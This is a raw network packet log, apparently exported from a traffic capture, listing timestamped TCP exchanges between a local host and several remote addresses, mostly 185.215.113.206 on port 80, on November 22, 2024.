Nov 22, 2024 23:06:34.050156116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.050250053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.050280094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.050299883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.051037073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.051104069 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.051150084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.051184893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.051894903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.051964045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.052000999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.052057028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.052752972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.052849054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.052860975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.053016901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.053616047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.053666115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.053728104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.053890944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.054507971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.054557085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.054610968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.054667950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.055373907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.055429935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.055439949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.055653095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.056243896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.056293964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.056354046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.056457043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.057135105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.057188988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.057219028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.057262897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.057985067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.058037043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.058070898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.058114052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.058850050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.058958054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.058983088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.059000015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.059727907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.059787035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.059830904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.059870958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.060614109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.060668945 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.060698032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.060771942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.061475039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.061563015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.061630011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.139599085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.139652967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.139758110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.139878988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.140006065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.140127897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.140198946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.140237093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.140937090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.140983105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.141028881 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.141069889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.141683102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.141750097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.141762018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.141798973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.142481089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.142524004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.142546892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.142760992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.143311024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.143394947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.143403053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.143471956 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.144136906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.144191027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.144313097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.144360065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.144903898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.144948006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.145075083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.145116091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.145771980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.145785093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.145817041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.145843983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.146616936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.146663904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.146698952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.146800041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.147407055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.147456884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.147479057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.147578955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.148231030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.148291111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.148315907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.148432970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.149058104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.149178028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.149214983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.149234056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.149821997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.149888992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.150007963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.150053024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.150819063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.150876045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.150945902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.151079893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.151520014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.151551962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.151612043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.152290106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.152509928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.153086901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.153161049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.153249979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.153306961 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.153913975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.153959036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.153999090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.154185057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.154768944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.154781103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.154824018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.155632973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.155694962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.155718088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.155750036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.156364918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.156384945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.156416893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.156447887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.157191992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.157284021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.157345057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.157987118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.158085108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.158132076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.158888102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.158926964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.158955097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.159220934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.159667015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.159678936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.159718037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.160491943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.160504103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.160579920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.161403894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.161417961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.161474943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.162137032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.162257910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.162305117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.162913084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.162966967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.163001060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.163100004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.163755894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.163810968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.163942099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.163981915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.164541006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.164582968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.164647102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.164680004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.165386915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.165513039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.165571928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.166146040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.166209936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.256141901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.256386042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.293390989 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.293801069 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:34.293813944 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.295161963 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.295178890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.295274019 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:34.296504974 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:34.296504974 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:34.296516895 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.296624899 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.340701103 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:34.340707064 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.391341925 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:34.406080961 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:34.406094074 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:34.406148911 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:34.406337976 CET	49834	443	192.168.2.5	52.228.161.161
Nov 22, 2024 23:06:34.406344891 CET	443	49834	52.228.161.161	192.168.2.5
Nov 22, 2024 23:06:34.414635897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.486077070 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:34.486768007 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:34.486819029 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:34.487421036 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:34.487437010 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:34.747642040 CET	443	49828	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:34.748220921 CET	49828	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:34.748245955 CET	443	49828	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:34.748819113 CET	49828	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:34.748822927 CET	443	49828	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:34.756997108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.757010937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.757076979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.757369041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.757479906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.757524967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.758172989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.758224964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.758280039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.758316040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.759010077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.759071112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.759099960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.759293079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.759804010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.759855032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.759882927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.759989977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.760582924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.760648966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.760688066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.760752916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.761404991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.761478901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.761507034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.761605024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.762197971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.762250900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.762305975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.762459040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.763010979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.763066053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.763119936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.763191938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.763847113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.763941050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.763981104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.764625072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.764681101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.764744043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.764930010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.765431881 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.765559912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.765563965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.765597105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.766346931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.766391039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.766423941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.766469002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.767100096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.767146111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.767203093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.767236948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.767915964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.767968893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.767997980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.768199921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.768721104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.768764019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.768877029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.768910885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.769484043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.769534111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.769582033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.769627094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.770307064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.770349979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.770431995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.770467997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.771096945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.771141052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.771174908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.771356106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.775896072 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:34.790257931 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.804598093 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:34.820300102 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:34.822117090 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:34.822128057 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:34.823215008 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:34.823296070 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:34.823714018 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.823723078 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.823733091 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.823735952 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.823762894 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:34.823791027 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.823805094 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.823828936 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:34.823873997 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:34.831033945 CET	49831	443	192.168.2.5	23.198.214.144
Nov 22, 2024 23:06:34.831062078 CET	443	49831	23.198.214.144	192.168.2.5
Nov 22, 2024 23:06:34.835977077 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:34.836100101 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:34.837575912 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:34.837587118 CET	443	49830	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:34.881387949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.881627083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.881802082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.881844044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.881870031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.881880045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.881908894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.882647991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.882726908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.882764101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.883486032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.883507967 CET	49830	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:34.883666039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.883703947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.883886099 CET	443	49827	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:34.884195089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.884243965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.884299994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.885025024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.885060072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.885139942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.885819912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.885827065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.885871887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.885910034 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.886641979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.886730909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.886771917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.887430906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.887536049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.887578011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.888221025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.888295889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:34.888334036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:34.889036894 CET	80	49762	185.215.113.206	192.168.2.5
